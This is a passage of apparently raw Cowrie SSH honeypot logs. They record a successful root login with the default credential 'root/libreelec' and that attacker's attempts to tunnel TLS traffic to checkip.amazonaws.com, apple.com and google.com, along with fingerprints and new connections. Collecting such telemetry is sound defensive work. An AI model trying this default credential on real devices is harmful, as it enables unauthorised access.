@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:01.196402Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:01.688107Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.48.247.5","dst_port":443,"src_ip":"77.90.185.17","src_port":46974,"message":"direct-tcp connection request to 52.48.247.5:443 from 127.0.0.1:46974","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:02.884190Z","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.48.247.5","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.48.247.5:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:03.449085Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.48.247.5","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\xbd\\x8c\\x87\\x88h\\xa5\\xc9\\xfc\\x89#\\xf3\\x07\\x10\\x8a&}1\\xcd\\xaa\\xad\\xc0f\\xc4\\x03u^~\\\\Qs\\xd0 .\\x88e\\xf0\\x10\\xb9\\xfaa\\xac7\\x8d\\xc3\\x90\\x98c\\x0fsyc\\x8ac\\xcb!\\xde8\\xfa\\x97\\xfa\\xcf\\xbd1\\xab\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1r\\x1ba\\x1e\\xa5\\xf3\\xa3\\xc3s\\x1d|ug\\xd2\\xf47\\x01\\xe2i\\x04\\xe9\\x17%]\\x96\\xe6*5\\xbc4\\x06\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.48.247.5:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa2\\xbd\\x8c\\x87\\x88h\\xa5\\xc9\\xfc\\x89#\\xf3\\x07\\x10\\x8a&}1\\xcd\\xaa\\xad\\xc0f\\xc4\\x03u^~\\\\Qs\\xd0 .\\x88e\\xf0\\x10\\xb9\\xfaa\\xac7\\x8d\\xc3\\x90\\x98c\\x0fsyc\\x8ac\\xcb!\\xde8\\xfa\\x97\\xfa\\xcf\\xbd1\\xab\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe1r\\x1ba\\x1e\\xa5\\xf3\\xa3\\xc3s\\x1d|ug\\xd2\\xf47\\x01\\xe2i\\x04\\xe9\\x17%]\\x96\\xe6*5\\xbc4\\x06\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:03.452491Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":48278,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:48278","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:03.984408Z","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:04.691440Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+.\\xb1F\\x96\\x03\\xee^\\x055*\\xb2\\xf3Z-\\x0f\\xbeX\\x98\\x84\\x8e\\x1c_%\\x14\\x7f\\xe0\\xa5/\\x9c\\x86x Ot\\xddW\\x04C\\xc3fx\\xf5T\\x1b\\x1d\\xd1\\x08%\\xbe.w\\xbaf\\x87\\xaaRHo\\x82\\xbb\\xeabL|\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x17\\x08\\x9e`{i\\xc0\\x80f\\x00%5\\xd4\\xd50\\x05PK\\x9d\\xefk\\xea\\xcc\\xcc\\xb4\\xf3[\\xf6\\xe5A\\x82P\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+.\\xb1F\\x96\\x03\\xee^\\x055*\\xb2\\xf3Z-\\x0f\\xbeX\\x98\\x84\\x8e\\x1c_%\\x14\\x7f\\xe0\\xa5/\\x9c\\x86x Ot\\xddW\\x04C\\xc3fx\\xf5T\\x1b\\x1d\\xd1\\x08%\\xbe.w\\xbaf\\x87\\xaaRHo\\x82\\xbb\\xeabL|\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x17\\x08\\x9e`{i\\xc0\\x80f\\x00%5\\xd4\\xd50\\x05PK\\x9d\\xefk\\xea\\xcc\\xcc\\xb4\\xf3[\\xf6\\xe5A\\x82P\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:04.694187Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.98.103","dst_port":443,"src_ip":"77.90.185.17","src_port":49148,"message":"direct-tcp connection request to 142.251.98.103:443 from 127.0.0.1:49148","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:05.073748Z","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.98.103","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.98.103:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:05.242235Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.98.103","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\r\\xfd\\xe2_\\xcf\\xcd\\xa5\\x8fm\\x9b\\xd6\\x8d_\\xc9\\x00\\x07\\xa8\\xec=\\xc9\\xdb\\x9b\"\\x9e\\xb9\\x98\\xe6\"QHb \\xd8\\xdd\\xc3\\xe9\\x87#\\x0e \\xec\\x94\\x18\\xf1]$\\xa2\\x87\\xd3\\xf9y\\xa2\\x9b\\x9c\\n\\xd2\\x0c\\x18;\\xb2\\x10\\t\\xbe\\x19\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 KJz\\x87\\xe0a\\x84\\xe6\\x16\\x81\\xee<\\xce\\xa2=\\xc3\\x14\\xbe\\x01h\\xf0\\xa6\\xf8p\\x9c\\x9e\\xb2\\x80D7\\xfcf\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.98.103:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xea\\r\\xfd\\xe2_\\xcf\\xcd\\xa5\\x8fm\\x9b\\xd6\\x8d_\\xc9\\x00\\x07\\xa8\\xec=\\xc9\\xdb\\x9b\"\\x9e\\xb9\\x98\\xe6\"QHb \\xd8\\xdd\\xc3\\xe9\\x87#\\x0e \\xec\\x94\\x18\\xf1]$\\xa2\\x87\\xd3\\xf9y\\xa2\\x9b\\x9c\\n\\xd2\\x0c\\x18;\\xb2\\x10\\t\\xbe\\x19\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 KJz\\x87\\xe0a\\x84\\xe6\\x16\\x81\\xee<\\xce\\xa2=\\xc3\\x14\\xbe\\x01h\\xf0\\xa6\\xf8p\\x9c\\x9e\\xb2\\x80D7\\xfcf\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:05.245556Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:05.383319Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.102.55.188","src_port":41068,"dst_ip":"159.203.135.109","dst_port":22,"session":"de703171eca9","protocol":"ssh","message":"New connection: 39.102.55.188:41068 (159.203.135.109:22) [session: de703171eca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.229463Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45962,"dst_ip":"159.203.135.109","dst_port":22,"session":"402bd90dd3c8","protocol":"ssh","message":"New connection: 195.178.110.218:45962 (159.203.135.109:22) [session: 402bd90dd3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.272997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:49.277268Z","src_ip":"195.178.110.218","session":"402bd90dd3c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@open